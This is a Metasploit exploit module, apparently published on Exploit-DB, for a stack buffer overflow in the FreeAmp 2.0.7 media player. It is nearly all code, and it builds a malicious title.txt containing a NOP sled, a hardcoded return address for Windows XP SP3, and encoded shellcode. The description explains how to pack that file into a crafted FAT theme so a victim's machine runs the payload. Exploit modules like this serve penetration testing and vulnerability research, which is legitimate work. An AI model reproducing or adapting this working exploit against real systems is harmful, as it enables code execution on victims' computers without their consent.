FreeAmp 2.0.7 - '.fat' Local Buffer Overflow (Metasploit)

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::FILEFORMAT

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Freeamp 2.0.7 (FAT File) Stack Buffer Overflow',
			'Description'    => %q{
					This module exploits a buffer overflow vulnerability
					found in Freeamp 2.0.7. The overflow occurs when an
					overly long string is parsed in the FAT file. This
					module creates a txt file that has to be used in the
					creation of a FAT file. The FAT file then has to be
					imported as a theme. To create the FAT file you need
					to first decompress the basic theme template,
					MakeTheme -d freeamp.fat. Next create the new FAT file
					MakeTheme crash.fat theme.xml title.txt *.bmp.
			},
			'License'        => MSF_LICENSE,
			'Author'         => [ 
					      'Ivan Garcia Ferreira',	# Initial Discovery
					      'James Fitts'		# Metasploit Module
					    ],
			'Version'        => '$Revision: $',
			'References'     =>
				[
					[ 'URL', 'http://www.exploit-db.com/exploits/17441' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
					'DisablePayloadHandler' => 'true',
				},
			'Payload'        =>
				{
					'BadChars' => "\x00\x0a\x0d",
				},
			'Platform' => 'win',
			'Targets'        =>
				[
					[ 
						'Windows XP SP3 EN', 
						{ 
							'Ret' => 0x1220161a, # push esp, ret 04 in download.ui
							'Offset' => 268
						} 
					],
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Jun 23 2011',
			'DefaultTarget'  => 0))

			register_options(
				[
					OptString.new('FILENAME', [ true, 'The file name.',  'title.txt']),
				], self.class)
	end

	def exploit
		
		txt = make_nops(target['Offset'])
		txt << [target.ret].pack('V')
		txt << make_nops(50)
		txt << payload.encoded
		txt << make_nops(50)

		print_status("Creating '#{datastore['FILENAME']}' file ...")

		file_create(txt)

	end

end